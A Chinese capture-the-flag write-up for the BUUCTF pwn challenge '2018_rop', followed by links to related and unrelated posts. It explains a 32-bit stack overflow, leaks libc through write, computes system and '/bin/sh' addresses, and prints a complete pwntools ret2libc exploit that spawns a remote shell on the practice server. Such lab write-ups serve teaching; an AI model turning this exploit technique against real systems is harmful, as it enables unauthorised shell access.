[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
铁人三项(第五赛区)_2018_rop[32位libc泄露]
题目附件
解题步骤:
例行检查,32位,开启了NX保护

试运行一下程序,一开始让我们输入,然后直接输出“Hellow,world”

32位ida载入,首先习惯性的shift+f12查看一下程序里的字符串,没有发现现成的system(‘/bin/sh’)
从main函数开始看程序

第4行的函数是我们的输入点,read的buf长度为0x100,而我们参数的大小只有0x88,可以溢出0x78个长度,足够我们构造rop攻击

没有其他信息了,经典的泄露libc类型的题目
利用思路:
- 利用write函数来泄露程序的libc版本
- 知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
- 覆盖返回地址为system(‘/bin/sh’),获取shell
利用过程:
- 泄露libc版本
这边提一下write函数的原型
ssize_t write(int fd,const void*buf,size_t count);
参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
这边解释一下第一个payload
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位
- 算出程序的偏移量,计算system和bin/sh的地址
offset=write_addr-libc.dump('write') #计算偏移量
#偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
- 构造rop获取shell
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
完整EXP:
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',27043)
elf=ELF('./2018_rop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
r.sendline(payload)
r.interactive()

匹配到了多个libc版本,选第一个
泄露libc用到了延迟绑定技术,具体的看这个视频介绍
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop的更多相关文章
- 铁人三项(第五赛区)_2018_rop
拿到程序依旧老样子checksec和file一下 可以看到是32位的程序开启了nx保护,将程序放入ida进行查看 shift+f12 看到没有system和binsh等字样,考虑用泄露libc来做这道 ...
- 铁人三项(第五赛区)_2018_seven
铁人三项(第五赛区)_2018_seven 先来看看保护 保护全开,IDA分析 首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw 读入的都shellcode长度小于等于7,且这7个字符不 ...
- 网站SEO之百度优化不得不知的铁人三项规则
奥运会有铁人三项,此运动更好的协调了运动员的综合素质水平,而百度优化排名中的“铁人三项”规则则是让网站的整体质量更好的满足市场用户体验.针对不同部分的操作,可以让网站在每个细节处都能凸显以人为本的服务 ...
- Phaser铁人三项
/** * 模拟铁人三项 */ public class PhaserTest { private static Random random = new Random(System.currentTi ...
- 2020信息安全铁人三项 pwn复盘
第一赛区 hacknote 程序存在格式化字符串漏洞和uaf,不多说了,很简单. 1 from pwn import * 2 3 p = process('./hacknote') 4 elf = E ...
- 2018铁人三项测评题 IOS99
下面这一部分是我从网上复制过来的, 2.IOS 解题链接:http://ctf4.shiyanbar.com/web/IOS/index.php 这题页面中提示系统升级到了IOS99,我们可以想到修改 ...
- 计算几何-LA2218-HPI-第一次卡精度-vijos1087-铁人三项
This article is made by Jason-Cow.Welcome to reprint.But please post the writer's address. http://ww ...
- 【BZOJ】【2765】【JLOI2010】铁人双项比赛
计算几何/半平面交 本来我是想去写POJ 1755的,然后想起了这道跟它很像的题,但应该是弱化版,所以就先写了这个…… 我们可以发现每个人的总用时,与k是呈一次函数关系的:$time_i=\frac{ ...
- 【APIO2018】铁人两项(圆方树,动态规划)
[APIO2018]铁人两项(圆方树,动态规划) 题面 UOJ 洛谷 BZOJ 题解 嘤嘤嘤,APIO的时候把一个组合数写成阶乘了,然后这题的70多分没拿到 首先一棵树是很容易做的,随意指定起点终点就 ...
随机推荐
- [hdu6987]Cycle Binary
定义$x$为$s$的周期,当且仅当$\forall 1\le i\le |s|-x,s_{i}=s_{i+x}$(字符串下标从1开始) 令$per(s)$为$s$的正周期构成的集合,$\min p ...
- [luogu4718]Pollard-Rho算法
模板题 题解主要分为两部分,即Miller-Robin判素数以及关于Pollard-Rho算法 1.Miller-Robin判素数 对于一个数$n$,判定其是否为素数,依次执行以下几步-- (1)若$ ...
- Winform开发的快速、健壮、解耦的几点建议
在Winform开发领域开发过十多年的项目中,见证着形形色色的架构和官方技术的应用,从最早类似Winform模式的WebForm技术,到接着的JQuery+界面组件,再到Asp.net Core的技术 ...
- C#动态创建接口的实现实例对象
本文简单介绍如何动态创建接口interface的实现实例对象,包含两个知识点: 1.如何获取接口interface的所有实现实例对象? 2.如何判断实例对象的构造函数是否有参数? 准备工作 首先新建一 ...
- 第一个vue程序
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- idea配置MyBatis
新建工程 删掉src 创建Module 在工程中的porn.xml输入以下依赖 <?xml version="1.0" encoding="UTF-8"? ...
- SpringBoot 动态代理实现三方接口调用
目录 一.定义注解 二.建立动态代理类 三.注入spring容器 四.编写拦截器 五.创建客户端调用类 六.main方法测试 七.启动项目 在某些业务场景中,我们只需要业务代码中定义相应的接口或者相应 ...
- 2017年最有前景的十大IT职业岗位
在IT行业,并不常存在失业的现象,因为目前整个行业存在严重的专业人才供给不足的现象:但同样,想要进入这个行业并牢牢站稳脚跟,你也需要拥有更强于其他行业的竞争力和承受更大的压力.那在行业中,哪些职位更有 ...
- Nginx在make时报错[objs/Makefile:469: objs/src/core/ngx_murmurhash.o] Error
Nginx在make时报错[objs/Makefile:469: objs/src/core/ngx_murmurhash.o] Error 在安装目录下执行 vim obj/Markfile 把 ...
- EXCEL-对筛选出(单独手动隐藏行还是在统计范围内)的表格数据进行统计
=SUBTOTAL(3,A1:A5) #计算筛选出的表格中A1:A5中有几个值. =SUBTOTAL(3,I71:I21447) ,在I71:I21447之间计数,会自动略去没有筛选上的隐藏单元格 ...